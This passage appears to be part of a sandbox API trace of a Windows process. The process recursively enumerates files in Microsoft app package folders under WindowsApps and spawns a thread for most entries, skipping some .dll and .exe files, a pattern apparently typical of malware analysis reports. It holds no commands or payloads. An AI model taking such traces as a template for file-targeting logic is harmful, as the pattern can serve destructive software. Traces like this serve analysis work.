	[0077.070] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa4ee54, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fa4ee54, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fa4ee54, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CPub.SkuInterop.winmd", cAlternateFileName="")) returned 1
	[0077.070] wcscmp (_String1="Microsoft.CPub.SkuInterop.winmd", _String2=".") returned 1
	[0077.070] wcscmp (_String1="Microsoft.CPub.SkuInterop.winmd", _String2="..") returned 1
	[0077.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x47231a0
	[0077.070] wcscpy (in: _Dest=0x47231a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe"
	[0077.070] wcscat (in: _Dest=0x47231a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\"
	[0077.070] wcscat (in: _Dest=0x47231a0, _Source="Microsoft.CPub.SkuInterop.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.SkuInterop.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.SkuInterop.winmd"
	[0077.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47231a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb7c
	[0077.071] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbad69af3, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbad69af3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad69af3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.071] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.071] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.071] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x47230b8
	[0077.071] wcscpy (in: _Dest=0x47230b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe"
	[0077.071] wcscat (in: _Dest=0x47230b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\"
	[0077.072] wcscat (in: _Dest=0x47230b8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47230b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb80
	[0077.072] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fa4ee54, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c7513, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fa750b2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0077.072] wcscmp (_String1="Resources", _String2=".") returned 1
	[0077.072] wcscmp (_String1="Resources", _String2="..") returned 1
	[0077.072] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2ddbd20
	[0077.072] wcscpy (in: _Dest=0x2ddbd20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe"
	[0077.072] wcscat (in: _Dest=0x2ddbd20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\"
	[0077.073] wcscat (in: _Dest=0x2ddbd20, _Source="Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources"
	[0077.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddbd20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb84
	[0077.073] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa4ee54, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fa4ee54, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fa4ee54, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x206c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0077.073] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0077.073] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.073] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x47c8f20
	[0077.073] wcscpy (in: _Dest=0x47c8f20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe"
	[0077.074] wcscat (in: _Dest=0x47c8f20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\"
	[0077.074] wcscat (in: _Dest=0x47c8f20, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0077.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47c8f20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb88
	[0077.074] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fac1569, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fac1569, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SkuInterop.dll", cAlternateFileName="")) returned 1
	[0077.074] wcscmp (_String1="SkuInterop.dll", _String2=".") returned 1
	[0077.074] wcscmp (_String1="SkuInterop.dll", _String2="..") returned 1
	[0077.074] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fac1569, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fac1569, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x31000, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreRatingPromotion.dll", cAlternateFileName="")) returned 1
	[0077.074] wcscmp (_String1="StoreRatingPromotion.dll", _String2=".") returned 1
	[0077.074] wcscmp (_String1="StoreRatingPromotion.dll", _String2="..") returned 1
	[0077.074] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fac1569, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fb59ed3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fb59ed3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreRatingPromotion.winmd", cAlternateFileName="")) returned 1
	[0077.074] wcscmp (_String1="StoreRatingPromotion.winmd", _String2=".") returned 1
	[0077.074] wcscmp (_String1="StoreRatingPromotion.winmd", _String2="..") returned 1
	[0077.074] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e11fc0
	[0077.075] wcscpy (in: _Dest=0x2e11fc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe"
	[0077.075] wcscat (in: _Dest=0x2e11fc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\"
	[0077.075] wcscat (in: _Dest=0x2e11fc0, _Source="StoreRatingPromotion.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd"
	[0077.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e11fc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8c
	[0077.075] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fb59ed3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fdbc483, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fdbc483, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x63c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhatsNew.Store.dll", cAlternateFileName="")) returned 1
	[0077.075] wcscmp (_String1="WhatsNew.Store.dll", _String2=".") returned 1
	[0077.075] wcscmp (_String1="WhatsNew.Store.dll", _String2="..") returned 1
	[0077.075] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fdbc483, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fdbc483, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fdbc483, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhatsNew.Store.exe", cAlternateFileName="")) returned 1
	[0077.075] wcscmp (_String1="WhatsNew.Store.exe", _String2=".") returned 1
	[0077.075] wcscmp (_String1="WhatsNew.Store.exe", _String2="..") returned 1
	[0077.075] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f0140b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab5ed36f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f2aa2da, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1
	[0077.075] wcscmp (_String1="_Resources", _String2=".") returned 1
	[0077.075] wcscmp (_String1="_Resources", _String2="..") returned 1
	[0077.076] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddbc68
	[0077.076] wcscpy (in: _Dest=0x2ddbc68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe"
	[0077.076] wcscat (in: _Dest=0x2ddbc68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\"
	[0077.076] wcscat (in: _Dest=0x2ddbc68, _Source="_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources"
	[0077.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddbc68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb90
	[0077.076] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f0140b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab5ed36f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f2aa2da, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0077.076] FindClose (in: hFindFile=0x2d71280 | out: hFindFile=0x2d71280) returned 1
	[0077.077] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbf390) returned 1
	[0077.077] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f268) returned 1
	[0077.077] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7fb98) returned 1

Thread:
	id = 273
	os_tid = 0x8cc

	[0076.797] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2d7db28
	[0076.797] wcscpy (in: _Dest=0x2d7db28, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe"
	[0076.797] wcscat (in: _Dest=0x2d7db28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\"
	[0076.797] wcscat (in: _Dest=0x2d7db28, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\*"
	[0076.797] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbf5f8
	[0076.797] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2dbf5f8 | out: lpFindFileData=0x2dbf5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x287b925a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbd8a0611, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8a0611, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad3b8
	[0078.765] wcscmp (_String1=".", _String2=".") returned 0
	[0078.765] FindNextFileW (in: hFindFile=0x2dad3b8, lpFindFileData=0x2dbf5f8 | out: lpFindFileData=0x2dbf5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x287b925a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbd8a0611, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8a0611, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.765] wcscmp (_String1="..", _String2=".") returned 1
	[0078.765] wcscmp (_String1="..", _String2="..") returned 0
	[0078.765] FindNextFileW (in: hFindFile=0x2dad3b8, lpFindFileData=0x2dbf5f8 | out: lpFindFileData=0x2dbf5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28851bc4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28851bc4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28851bc4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.765] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.765] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477c2a8
	[0078.765] wcscpy (in: _Dest=0x477c2a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe"
	[0078.765] wcscat (in: _Dest=0x477c2a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.765] wcscat (in: _Dest=0x477c2a8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477c2a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4
	[0078.981] FindNextFileW (in: hFindFile=0x2dad3b8, lpFindFileData=0x2dbf5f8 | out: lpFindFileData=0x2dbf5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x287b925a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab841b4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x287b925a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.981] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.981] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.981] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47e90f0
	[0078.981] wcscpy (in: _Dest=0x47e90f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe"
	[0078.981] wcscat (in: _Dest=0x47e90f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.981] wcscat (in: _Dest=0x47e90f0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0078.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e90f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf6c
	[0078.982] FindNextFileW (in: hFindFile=0x2dad3b8, lpFindFileData=0x2dbf5f8 | out: lpFindFileData=0x2dbf5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28851bc4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28877e22, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28877e22, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.982] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.982] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.982] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12170
	[0078.982] wcscpy (in: _Dest=0x2e12170, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe"
	[0078.982] wcscat (in: _Dest=0x2e12170, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.982] wcscat (in: _Dest=0x2e12170, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e12170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf70
	[0078.982] FindNextFileW (in: hFindFile=0x2dad3b8, lpFindFileData=0x2dbf5f8 | out: lpFindFileData=0x2dbf5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbd8a0611, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbd8a0611, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8a0611, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.983] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.983] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.983] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x4752928
	[0078.983] wcscpy (in: _Dest=0x4752928, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe"
	[0078.983] wcscat (in: _Dest=0x4752928, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.983] wcscat (in: _Dest=0x4752928, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4752928, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf74
